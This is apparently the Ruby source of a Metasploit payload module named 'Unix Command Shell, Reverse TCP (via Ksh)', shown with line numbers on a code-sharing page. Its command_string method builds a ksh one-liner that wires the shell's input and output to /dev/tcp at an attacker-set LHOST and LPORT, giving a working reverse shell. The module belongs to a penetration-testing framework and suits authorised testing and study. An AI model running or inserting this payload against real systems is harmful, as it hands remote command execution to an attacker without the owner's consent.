Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 52
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
     'Name'        => 'Unix Command Shell, Reverse TCP (via Ksh)',
17
     'Description' => %q{
18
        Connect back and create a command shell via Ksh.  Note: Although Ksh is often
19
        available, please be aware it isn't usually installed by default.
20
      },
21
     'Author'      => 'Wang Yihang <wangyihanger[at]gmail.com>',
22
     'License'     => MSF_LICENSE,
23
     'Platform'    => 'unix',
24
     'Arch'        => ARCH_CMD,
25
     'Handler'     => Msf::Handler::ReverseTcp,
26
     'Session'     => Msf::Sessions::CommandShell,
27
     'PayloadType' => 'cmd',
28
     'RequiredCmd' => 'ksh',
29
     'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
30
    ))
31
    register_advanced_options(
32
      [
33
        OptString.new('KSHPath', [true, 'The path to the KSH executable', 'ksh'])
34
      ]
35
    )
36
  end
37

38
  def generate(_opts = {})
39
    super + command_string
40
  end
41

42
  def command_string
43
    "#{datastore['KSHPath']} -c '#{datastore['KSHPath']} >/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 2>&1 <&1'"
44
  end
45
end
46

47